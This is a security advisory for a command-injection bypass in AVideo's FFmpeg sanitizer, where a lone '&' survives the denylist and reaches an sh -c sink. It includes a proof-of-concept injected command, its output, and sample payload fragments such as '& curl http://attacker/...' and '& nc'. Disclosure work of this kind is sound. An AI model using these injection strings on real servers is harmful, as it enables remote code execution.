CVE-2026-55173

### Summary The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\n`, `\r` to the denylist character class and a `str_replace('&&', '', ...)`. It still does **not** neutralize a single `&` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs. Verified at master HEAD. ### The surviving gap HEAD `sanitizeFFmpegCommand` (`functions.php`): ```php $command = str_replace('&&', '', $command); // only the doubled form $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); // strips '&' only when followed by '>' $command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command); // char class has no '&' // then requires the result to start with 'ffmpeg' ``` A single `&` is therefore preserved. `ffmpeg ... & <cmd>` passes the sanitizer and the `strpos(trim($command),'ffmpeg')===0` prefix gate. ### Sink (unchanged) `plugin/API/standAlone/ffmpeg.json.php:418` -> `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`: ```php $command = addcslashes($command, '"'); // line 686 — escapes only the double-quote $commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &"; // line 705 exec($commandWithKeyword, ...); // line 712 — PHP exec() runs via /bin/sh -c ``` The sanitized command is embedded inside an inner `sh -c "..."`. A bare `&` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `"` does not stop `&`. ### Reachability `ffmpeg.json.php` builds the command from `_decryptString(getInput('codeToExecEncrypted'))`. This is the **same** threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (`AV:N/AC:H/PR:N`). ### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt) Byte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`: ``` attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4 after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4 ampersand survived : YES passes prefix : YES final sh -c string: nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 & >> injected touch executed: YES (/tmp/avideo_amp_rce_proof) ``` The sanitizer leaves `&` intact and the injected `touch` runs at the sink. ### Impact Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `&`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `>` strip, but command execution (e.g. `& curl http://attacker/...`, `& nc ...`, dropping/running a file) is not. ### Remediation Stop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c "..."`. If the denylist is kept as defense-in-depth, add `&` to the stripped set — but the denylist approach has now missed two metacharacters in a row (`$()` then `&`).